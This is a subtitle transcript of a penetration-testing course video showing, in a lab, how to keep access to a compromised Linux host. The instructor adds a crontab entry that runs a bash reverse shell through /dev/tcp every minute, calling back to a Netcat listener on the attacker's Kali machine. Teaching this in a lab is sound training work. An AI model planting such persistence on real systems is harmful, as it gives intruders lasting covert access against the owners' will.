WEBVTT

00:00:00.000 --> 00:00:03.409 align:middle line:90%


00:00:03.409 --> 00:00:06.331 align:middle line:90%
[MUSIC PLAYING]

00:00:06.331 --> 00:00:10.230 align:middle line:90%


00:00:10.230 --> 00:00:12.267 align:middle line:90%
Persistance via Cron jobs.

00:00:12.267 --> 00:00:14.850 align:middle line:84%
In this video, we are going to
be exploring the process of how

00:00:14.850 --> 00:00:17.910 align:middle line:84%
to establish persistent
access to a Linux system

00:00:17.910 --> 00:00:22.140 align:middle line:84%
that you have compromised
through the use of Cron jobs.

00:00:22.140 --> 00:00:23.940 align:middle line:84%
Now before we
actually get started

00:00:23.940 --> 00:00:25.680 align:middle line:84%
with the practical
demonstration,

00:00:25.680 --> 00:00:28.650 align:middle line:84%
let's get an idea as
to what Cron jobs are

00:00:28.650 --> 00:00:32.850 align:middle line:84%
and how we can take advantage
of them as a penetration tester.

00:00:32.850 --> 00:00:36.030 align:middle line:84%
All right, so Linux
implements task scheduling

00:00:36.030 --> 00:00:38.340 align:middle line:90%
through a utility called Cron.

00:00:38.340 --> 00:00:40.620 align:middle line:84%
Cron is a time-based
service that

00:00:40.620 --> 00:00:43.260 align:middle line:84%
runs applications,
scripts, and other commands

00:00:43.260 --> 00:00:46.440 align:middle line:84%
repeatedly on a
specified schedule.

00:00:46.440 --> 00:00:48.930 align:middle line:84%
So an application
or script that has

00:00:48.930 --> 00:00:51.570 align:middle line:84%
been configured to run
repeatedly with Cron

00:00:51.570 --> 00:00:53.820 align:middle line:90%
is known as a Cron job.

00:00:53.820 --> 00:00:57.450 align:middle line:84%
We can utilize Cron jobs to
execute a command or script

00:00:57.450 --> 00:01:00.720 align:middle line:84%
at a fixed interval to ensure
that we have persistent access

00:01:00.720 --> 00:01:02.640 align:middle line:90%
to the target system.

00:01:02.640 --> 00:01:03.870 align:middle line:90%
So what are Cron jobs?

00:01:03.870 --> 00:01:06.300 align:middle line:84%
Cron jobs are essentially
the Linux equivalent

00:01:06.300 --> 00:01:09.060 align:middle line:90%
of scheduled tasks on Windows.

00:01:09.060 --> 00:01:13.590 align:middle line:84%
So we can utilize them to run
a specific command or script

00:01:13.590 --> 00:01:16.590 align:middle line:90%
at a fixed interval or schedule.

00:01:16.590 --> 00:01:19.650 align:middle line:84%
And in terms of
how we can leverage

00:01:19.650 --> 00:01:23.020 align:middle line:84%
Cron jobs from the perspective
of a penetration tester,

00:01:23.020 --> 00:01:25.890 align:middle line:84%
and more specifically
during the post

00:01:25.890 --> 00:01:30.150 align:middle line:84%
exploitation phase is
that we can essentially

00:01:30.150 --> 00:01:33.460 align:middle line:84%
after compromising the
Linux target system,

00:01:33.460 --> 00:01:37.860 align:middle line:84%
we can create a Cron job
that executes a reverse shell

00:01:37.860 --> 00:01:42.450 align:middle line:84%
command, more specifically a
bash reverse shell command that

00:01:42.450 --> 00:01:45.960 align:middle line:84%
will consequently connect
to our Netcat listener

00:01:45.960 --> 00:01:48.090 align:middle line:90%
on our Kali Linux system.

00:01:48.090 --> 00:01:52.380 align:middle line:84%
And we can set the actual
Cron job timing or scheduling

00:01:52.380 --> 00:01:55.830 align:middle line:84%
to have that Cron job
run or be executed

00:01:55.830 --> 00:01:59.670 align:middle line:84%
every minute, of every
day, of every week,

00:01:59.670 --> 00:02:01.590 align:middle line:90%
of every month, et cetera.

00:02:01.590 --> 00:02:04.890 align:middle line:84%
And that's one of the
great features of Cron jobs

00:02:04.890 --> 00:02:07.440 align:middle line:84%
or rather the Cron
utility is that it

00:02:07.440 --> 00:02:10.500 align:middle line:84%
allows you to essentially
run applications, scripts,

00:02:10.500 --> 00:02:13.920 align:middle line:84%
or commands repeatedly
on a specified schedule.

00:02:13.920 --> 00:02:17.790 align:middle line:84%
Now in order to understand
how to set up a Cron job,

00:02:17.790 --> 00:02:19.530 align:middle line:84%
you need to have an
understanding of how

00:02:19.530 --> 00:02:23.520 align:middle line:84%
Cron jobs are set up or the
rather the anatomy of a Cron

00:02:23.520 --> 00:02:24.180 align:middle line:90%
job.

00:02:24.180 --> 00:02:28.800 align:middle line:84%
So this right here is an example
of how to set up a Cron job.

00:02:28.800 --> 00:02:31.170 align:middle line:84%
So the first five
fields are used

00:02:31.170 --> 00:02:36.120 align:middle line:84%
to specify the actual schedule
or the timing of a Cron job.

00:02:36.120 --> 00:02:39.420 align:middle line:84%
So for example, you can
see the very first value

00:02:39.420 --> 00:02:41.910 align:middle line:84%
is the minute value,
where if I wanted

00:02:41.910 --> 00:02:45.180 align:middle line:84%
to run a particular command
or script or application

00:02:45.180 --> 00:02:49.420 align:middle line:84%
or binary, I can specify
a value right over here.

00:02:49.420 --> 00:02:51.390 align:middle line:90%
So I can say 0 to 59 minutes.

00:02:51.390 --> 00:02:54.030 align:middle line:84%
If I want to run it
on a specific hour,

00:02:54.030 --> 00:02:58.680 align:middle line:84%
I can say I want to run this
current job on the 20th minute

00:02:58.680 --> 00:03:00.030 align:middle line:90%
of whatever hour.

00:03:00.030 --> 00:03:02.260 align:middle line:84%
We can set that to
maybe the 12th hour.

00:03:02.260 --> 00:03:04.950 align:middle line:84%
And this is in the
24-hour format.

00:03:04.950 --> 00:03:06.760 align:middle line:84%
I can then specify
the day of the month.

00:03:06.760 --> 00:03:09.960 align:middle line:84%
So let's say I only wanted
to run this at maybe

00:03:09.960 --> 00:03:16.830 align:middle line:84%
we can say 12:30 PM on the 28th
of every month, I can do that.

00:03:16.830 --> 00:03:21.660 align:middle line:84%
And I can also add the
additional parameters

00:03:21.660 --> 00:03:24.990 align:middle line:84%
for the month and day of
the week options here.

00:03:24.990 --> 00:03:29.235 align:middle line:84%
So by default, you can
see that these values

00:03:29.235 --> 00:03:33.120 align:middle line:84%
in this particular example
have an asterisk value assigned

00:03:33.120 --> 00:03:34.530 align:middle line:90%
to each of them.

00:03:34.530 --> 00:03:37.020 align:middle line:84%
Now an asterisk value
for each of them

00:03:37.020 --> 00:03:38.700 align:middle line:84%
means that the
current job will run

00:03:38.700 --> 00:03:42.490 align:middle line:84%
every minute of every hour
of every day of every month

00:03:42.490 --> 00:03:45.660 align:middle line:84%
and every day of the week, which
is what we're going to be doing

00:03:45.660 --> 00:03:48.420 align:middle line:84%
because we want to be able
to access the system whenever

00:03:48.420 --> 00:03:49.410 align:middle line:90%
we want to.

00:03:49.410 --> 00:03:53.940 align:middle line:84%
And again, what this means is
that when we set up our bash

00:03:53.940 --> 00:03:57.510 align:middle line:84%
reverse shell Cron job,
we will essentially

00:03:57.510 --> 00:04:00.660 align:middle line:84%
set it up so that, that
particular Cron job is executed

00:04:00.660 --> 00:04:05.290 align:middle line:84%
every minute, of every hour,
of every day, of every Month,

00:04:05.290 --> 00:04:07.470 align:middle line:84%
and ever day of the week
so that we can essentially

00:04:07.470 --> 00:04:10.350 align:middle line:84%
receive a connection
on our Netcat listener

00:04:10.350 --> 00:04:11.390 align:middle line:90%
whenever we want.

00:04:11.390 --> 00:04:13.950 align:middle line:84%
So whenever you have the
Netcat listener running

00:04:13.950 --> 00:04:16.680 align:middle line:84%
after every minute or after
a couple of seconds based

00:04:16.680 --> 00:04:19.410 align:middle line:84%
on the duration or the
timing of the Cron job,

00:04:19.410 --> 00:04:21.990 align:middle line:84%
you'll be able to obtain a
reverse shell on the target

00:04:21.990 --> 00:04:23.340 align:middle line:90%
system.

00:04:23.340 --> 00:04:25.710 align:middle line:84%
So in this particular
case, it really

00:04:25.710 --> 00:04:27.510 align:middle line:84%
doesn't matter
what type of access

00:04:27.510 --> 00:04:29.640 align:middle line:84%
you have on the target
system, because you

00:04:29.640 --> 00:04:32.520 align:middle line:84%
can create a Cron job
for most user accounts

00:04:32.520 --> 00:04:33.900 align:middle line:90%
on a Linux system.

00:04:33.900 --> 00:04:36.360 align:middle line:84%
And again, if you have
not been able to elevate

00:04:36.360 --> 00:04:39.000 align:middle line:84%
your privileges, you can
still set up a Cron job

00:04:39.000 --> 00:04:41.430 align:middle line:90%
as we will be exploring.

00:04:41.430 --> 00:04:44.900 align:middle line:84%
All right, so this video has a
lab environment attached to it.

00:04:44.900 --> 00:04:46.980 align:middle line:84%
The lab environment
is very simple.

00:04:46.980 --> 00:04:49.460 align:middle line:84%
We're going to be provided
with access to the Kali Linux

00:04:49.460 --> 00:04:50.060 align:middle line:90%
system.

00:04:50.060 --> 00:04:53.030 align:middle line:84%
We can then SSH into
the target system,

00:04:53.030 --> 00:04:56.660 align:middle line:84%
and this is going to simulate or
emulate the exploitation phase.

00:04:56.660 --> 00:04:59.030 align:middle line:84%
Once we have gained access
to the target system,

00:04:59.030 --> 00:05:01.310 align:middle line:84%
we can create the
Cron job that will

00:05:01.310 --> 00:05:03.140 align:middle line:90%
connect to our Netcat listener.

00:05:03.140 --> 00:05:05.090 align:middle line:84%
And after that is
done, we can then

00:05:05.090 --> 00:05:08.210 align:middle line:84%
exit from the target system
and set up our listener,

00:05:08.210 --> 00:05:11.420 align:middle line:84%
and we should receive a
reverse shell connection.

00:05:11.420 --> 00:05:13.820 align:middle line:84%
So far up the lab
environment and I'll

00:05:13.820 --> 00:05:17.490 align:middle line:84%
see you there in a
couple of seconds.

00:05:17.490 --> 00:05:20.040 align:middle line:84%
All right, so I'm back
within the lab environment,

00:05:20.040 --> 00:05:23.670 align:middle line:84%
and the first step is going to
involve identifying the target

00:05:23.670 --> 00:05:24.520 align:middle line:90%
IP address.

00:05:24.520 --> 00:05:27.450 align:middle line:84%
So we can do that by
typing in ifconfig.

00:05:27.450 --> 00:05:29.670 align:middle line:84%
We want to take a look at
the interface ethernet 1.

00:05:29.670 --> 00:05:33.400 align:middle line:84%
And in your case, this value or
the subnet will be different.

00:05:33.400 --> 00:05:35.910 align:middle line:84%
However, your Kali
Linux IP or system

00:05:35.910 --> 00:05:38.670 align:middle line:84%
should be on the second
IP within the subnet.

00:05:38.670 --> 00:05:42.450 align:middle line:84%
You just need to copy this value
and change the two to a three,

00:05:42.450 --> 00:05:44.290 align:middle line:84%
and that's the
target IP address,

00:05:44.290 --> 00:05:47.820 align:middle line:84%
irregardless of your subnet
within your lab environment.

00:05:47.820 --> 00:05:50.140 align:middle line:84%
We can now SSH into
the target system.

00:05:50.140 --> 00:05:52.710 align:middle line:84%
So I'm going to
say SSH student@,

00:05:52.710 --> 00:05:54.660 align:middle line:84%
and I'll just change
the two to a three.

00:05:54.660 --> 00:05:57.600 align:middle line:84%
The password for the
student account is password.

00:05:57.600 --> 00:06:01.200 align:middle line:84%
I'll just accept that,
and I'll say password.

00:06:01.200 --> 00:06:03.450 align:middle line:84%
And we have access
to the target system.

00:06:03.450 --> 00:06:06.690 align:middle line:84%
All right, so we're focusing
on setting up a Cron job.

00:06:06.690 --> 00:06:09.720 align:middle line:84%
So we can list out the
contents of the home directory.

00:06:09.720 --> 00:06:11.640 align:middle line:84%
We have the same
weight binary that we

00:06:11.640 --> 00:06:14.830 align:middle line:84%
had in the previous video
within that lab environment.

00:06:14.830 --> 00:06:16.890 align:middle line:84%
So once we've set
up our Cron job,

00:06:16.890 --> 00:06:23.130 align:middle line:84%
we can remove this weight binary
to essentially simulate the--

00:06:23.130 --> 00:06:26.550 align:middle line:84%
essentially simulate what
would happen if the student

00:06:26.550 --> 00:06:28.380 align:middle line:84%
user account
password was changed,

00:06:28.380 --> 00:06:31.800 align:middle line:84%
therefore meaning that we could
not gain access to the target

00:06:31.800 --> 00:06:34.870 align:middle line:84%
system anymore because we
don't know the new password.

00:06:34.870 --> 00:06:39.270 align:middle line:84%
So as I demonstrated during
the Linux local enumeration

00:06:39.270 --> 00:06:42.390 align:middle line:84%
section of this course, we can
enumerate the various Cron jobs

00:06:42.390 --> 00:06:46.480 align:middle line:84%
by cutting out the contents
of the etc/cron file.

00:06:46.480 --> 00:06:48.900 align:middle line:84%
And in this case, you can
see we can essentially

00:06:48.900 --> 00:06:49.930 align:middle line:90%
display all of them.

00:06:49.930 --> 00:06:51.210 align:middle line:90%
So I'll say Cron.

00:06:51.210 --> 00:06:52.080 align:middle line:90%
And there we are.

00:06:52.080 --> 00:06:55.050 align:middle line:84%
So this is the
actual crontab file.

00:06:55.050 --> 00:06:59.820 align:middle line:84%
The crontab file is where you
can essentially create or add

00:06:59.820 --> 00:07:00.570 align:middle line:90%
new Cron job.

00:07:00.570 --> 00:07:03.660 align:middle line:84%
So these right
over here are just

00:07:03.660 --> 00:07:06.210 align:middle line:84%
basic Cron jobs, as
you can see here,

00:07:06.210 --> 00:07:08.040 align:middle line:84%
that have been
added to demonstrate

00:07:08.040 --> 00:07:10.140 align:middle line:90%
how you can set up a Cron job.

00:07:10.140 --> 00:07:15.960 align:middle line:84%
So, for example, we can see
that in this particular example,

00:07:15.960 --> 00:07:19.050 align:middle line:84%
the first five fields
I used to specify

00:07:19.050 --> 00:07:21.420 align:middle line:84%
the actual timing
or the schedule

00:07:21.420 --> 00:07:23.890 align:middle line:84%
that you want to
run the Cron job on.

00:07:23.890 --> 00:07:26.340 align:middle line:84%
And in order to
create a Cron job,

00:07:26.340 --> 00:07:29.040 align:middle line:84%
we can create a
simple Cron file,

00:07:29.040 --> 00:07:31.990 align:middle line:84%
and then add the Cron
file to the crontab file.

00:07:31.990 --> 00:07:33.790 align:middle line:84%
So we'll just use
the echo command.

00:07:33.790 --> 00:07:36.300 align:middle line:84%
And this is where we'll
specify the command that

00:07:36.300 --> 00:07:37.720 align:middle line:90%
needs to be run.

00:07:37.720 --> 00:07:40.350 align:middle line:84%
So we will first
specify the schedule.

00:07:40.350 --> 00:07:42.750 align:middle line:84%
So we'll just use
the asterisk values

00:07:42.750 --> 00:07:44.760 align:middle line:90%
for the first five fields.

00:07:44.760 --> 00:07:47.760 align:middle line:84%
So that means we want this
Cron job to run every minute,

00:07:47.760 --> 00:07:51.180 align:middle line:84%
of every hour, of every day,
of every month, of every day

00:07:51.180 --> 00:07:52.270 align:middle line:90%
of the week.

00:07:52.270 --> 00:07:56.800 align:middle line:84%
We then specify that we
want to execute bin bash.

00:07:56.800 --> 00:07:58.750 align:middle line:84%
And we're going to
use the i option,

00:07:58.750 --> 00:08:00.520 align:middle line:90%
and redirect the output.

00:08:00.520 --> 00:08:04.910 align:middle line:84%
We'll use the ampersand
command and say--

00:08:04.910 --> 00:08:07.720 align:middle line:84%
well actually before we do
that because we're running this

00:08:07.720 --> 00:08:11.770 align:middle line:84%
directly from the target system,
we can use the c command,

00:08:11.770 --> 00:08:16.360 align:middle line:84%
and then we'll open up a single
quote there and say bash i,

00:08:16.360 --> 00:08:17.830 align:middle line:90%
and redirect the output.

00:08:17.830 --> 00:08:22.170 align:middle line:84%
And we'll use an ampersand there
or a descriptor and we'll say

00:08:22.170 --> 00:08:23.400 align:middle line:90%
/dev/tcp/.

00:08:23.400 --> 00:08:24.930 align:middle line:84%
So this is where
we are telling bash

00:08:24.930 --> 00:08:28.450 align:middle line:84%
to connect to a particular
IP address and port.

00:08:28.450 --> 00:08:30.240 align:middle line:84%
So that's going to be
our Netcat listener.

00:08:30.240 --> 00:08:34.419 align:middle line:84%
So after /dev/tcp/, paste in
your Kali Linux IP address,

00:08:34.419 --> 00:08:35.520 align:middle line:90%
which we copied.

00:08:35.520 --> 00:08:38.580 align:middle line:84%
We then specify the port the
Netcat listener is running on.

00:08:38.580 --> 00:08:40.980 align:middle line:90%
In this case, we'll say 1234.

00:08:40.980 --> 00:08:44.550 align:middle line:84%
And then we'll say 0, and we'll
redirect the output there,

00:08:44.550 --> 00:08:47.070 align:middle line:90%
and the descriptor 1.

00:08:47.070 --> 00:08:48.880 align:middle line:84%
And we can close
the single quote.

00:08:48.880 --> 00:08:51.810 align:middle line:84%
So let me just say
ampersand 1 there.

00:08:51.810 --> 00:08:56.220 align:middle line:84%
We can close the single
quotes and the double quotes

00:08:56.220 --> 00:08:56.730 align:middle line:90%
are closed.

00:08:56.730 --> 00:09:01.610 align:middle line:84%
And we'll output this
into a file called cron.

00:09:01.610 --> 00:09:05.670 align:middle line:84%
And yeah, I think
that should be fine.

00:09:05.670 --> 00:09:08.180 align:middle line:84%
And if we get the
content of the Cron file,

00:09:08.180 --> 00:09:10.790 align:middle line:84%
you can see that it's
specified correctly there.

00:09:10.790 --> 00:09:14.990 align:middle line:84%
So we can utilize the crontab
i command to add this Cron job.

00:09:14.990 --> 00:09:18.980 align:middle line:84%
So We'll say crontab i cron, and
this will add it as a Cron job.

00:09:18.980 --> 00:09:22.190 align:middle line:84%
We can view the
list of Cron jobs

00:09:22.190 --> 00:09:25.600 align:middle line:84%
by typing in the
command crontab l.

00:09:25.600 --> 00:09:29.210 align:middle line:84%
And you can see our current job
has been added for the student

00:09:29.210 --> 00:09:30.750 align:middle line:90%
user account.

00:09:30.750 --> 00:09:32.870 align:middle line:84%
And that means that
it will be executed

00:09:32.870 --> 00:09:35.990 align:middle line:84%
with the permissions
relative or pertinent

00:09:35.990 --> 00:09:37.020 align:middle line:90%
to the student account.

00:09:37.020 --> 00:09:39.440 align:middle line:84%
So if you have access
to the target system

00:09:39.440 --> 00:09:40.940 align:middle line:84%
and have elevated
your privileges,

00:09:40.940 --> 00:09:43.280 align:middle line:84%
then set up the Cron
job with the root user,

00:09:43.280 --> 00:09:46.850 align:middle line:84%
because you will receive
access to the target

00:09:46.850 --> 00:09:50.780 align:middle line:84%
system as the user
that you essentially

00:09:50.780 --> 00:09:53.630 align:middle line:90%
used to create the Cron job.

00:09:53.630 --> 00:09:55.310 align:middle line:84%
Now that this is
done, the Cron job

00:09:55.310 --> 00:09:57.800 align:middle line:84%
is going to be running in
the background every minute.

00:09:57.800 --> 00:10:00.020 align:middle line:84%
However, we haven't
set up our listener.

00:10:00.020 --> 00:10:02.810 align:middle line:84%
Before we do that, I'm going
to remove the wait binary.

00:10:02.810 --> 00:10:05.660 align:middle line:84%
And you'll see that our
connection will be reset,

00:10:05.660 --> 00:10:09.020 align:middle line:84%
and the student user account
password will be changed.

00:10:09.020 --> 00:10:10.040 align:middle line:90%
All right, there we are.

00:10:10.040 --> 00:10:13.800 align:middle line:84%
So let's try and see whether we
can SSH back into the target.

00:10:13.800 --> 00:10:16.047 align:middle line:90%
So I'll say password.

00:10:16.047 --> 00:10:17.630 align:middle line:84%
And as you can see,
permission denied.

00:10:17.630 --> 00:10:20.420 align:middle line:84%
So this simulates what would
happen if we lost access

00:10:20.420 --> 00:10:21.360 align:middle line:90%
to the target.

00:10:21.360 --> 00:10:23.480 align:middle line:84%
However, if we set
up persistence,

00:10:23.480 --> 00:10:25.500 align:middle line:84%
we can set up our
Netcat listener.

00:10:25.500 --> 00:10:27.440 align:middle line:90%
So I'll say netcat nvlp.

00:10:27.440 --> 00:10:30.500 align:middle line:84%
And the port we
specified was 1234.

00:10:30.500 --> 00:10:31.610 align:middle line:90%
I'll hit Enter.

00:10:31.610 --> 00:10:35.180 align:middle line:84%
And we're now going to give it
a couple of seconds to a minute

00:10:35.180 --> 00:10:37.820 align:middle line:84%
in order to receive the
connection, after which we

00:10:37.820 --> 00:10:42.380 align:middle line:84%
should receive a reverse shell
once the Cron job is executed.

00:10:42.380 --> 00:10:46.310 align:middle line:84%
There we are, the Cron job gets
executed on the target system,

00:10:46.310 --> 00:10:48.860 align:middle line:84%
and it provides us with
access to the student

00:10:48.860 --> 00:10:51.590 align:middle line:84%
account on the target system
because the Cron job ran,

00:10:51.590 --> 00:10:56.180 align:middle line:84%
and it executed the bash reverse
shell command that connected

00:10:56.180 --> 00:10:58.070 align:middle line:90%
to our Netcat listener.

00:10:58.070 --> 00:10:59.900 align:middle line:90%
All right, so there we are.

00:10:59.900 --> 00:11:02.255 align:middle line:90%
Again, one thing to note.

00:11:02.255 --> 00:11:04.760 align:middle line:84%
This is not really a
non-interactive shell

00:11:04.760 --> 00:11:06.950 align:middle line:84%
because we received
a bash session.

00:11:06.950 --> 00:11:09.740 align:middle line:84%
So we now have access
to the target system,

00:11:09.740 --> 00:11:13.100 align:middle line:84%
even though the actual
password was changed

00:11:13.100 --> 00:11:16.850 align:middle line:84%
and we don't have
access via SSH anymore,

00:11:16.850 --> 00:11:18.440 align:middle line:84%
because the password
was changed.

00:11:18.440 --> 00:11:20.810 align:middle line:84%
So we can cut the
content of the flag.

00:11:20.810 --> 00:11:23.630 align:middle line:84%
And voila, so that
is essentially

00:11:23.630 --> 00:11:27.050 align:middle line:84%
how to establish persistence
on a Linux target system

00:11:27.050 --> 00:11:28.970 align:middle line:90%
through the use of Cron jobs.

00:11:28.970 --> 00:11:30.590 align:middle line:90%
And this will work every minute.

00:11:30.590 --> 00:11:33.980 align:middle line:84%
As I said, you don't need to--
this will not just work once.

00:11:33.980 --> 00:11:36.810 align:middle line:84%
We will have persistent
access whenever we want.

00:11:36.810 --> 00:11:40.660 align:middle line:84%
So I can set up
the listener again.

00:11:40.660 --> 00:11:43.270 align:middle line:84%
And after a couple of seconds,
there we are, we gain access

00:11:43.270 --> 00:11:44.200 align:middle line:90%
to the target system.

00:11:44.200 --> 00:11:45.370 align:middle line:90%
Again, fantastic.

00:11:45.370 --> 00:11:48.700 align:middle line:84%
So that is going to conclude
the practical demonstration

00:11:48.700 --> 00:11:51.630 align:middle line:90%
side of this video.

00:11:51.630 --> 00:11:54.770 align:middle line:84%
All right, so that concludes
the Linux persistent section

00:11:54.770 --> 00:11:55.820 align:middle line:90%
of this course.

00:11:55.820 --> 00:11:58.790 align:middle line:84%
And by this point,
you should be quite

00:11:58.790 --> 00:12:00.890 align:middle line:84%
familiar with what
persistence is,

00:12:00.890 --> 00:12:05.810 align:middle line:84%
and how to establish persistent
or persistent access on both

00:12:05.810 --> 00:12:08.310 align:middle line:84%
a Windows and Linux
target system.

00:12:08.310 --> 00:12:11.840 align:middle line:84%
We will now be moving on
to the next section, which

00:12:11.840 --> 00:12:15.950 align:middle line:84%
will essentially entail the
process of dumping and cracking

00:12:15.950 --> 00:12:19.260 align:middle line:84%
password hashes for
both Windows and Linux.

00:12:19.260 --> 00:12:22.818 align:middle line:84%
So I'll be seeing you
in the next video.

00:12:22.818 --> 00:12:23.318 align:middle line:90%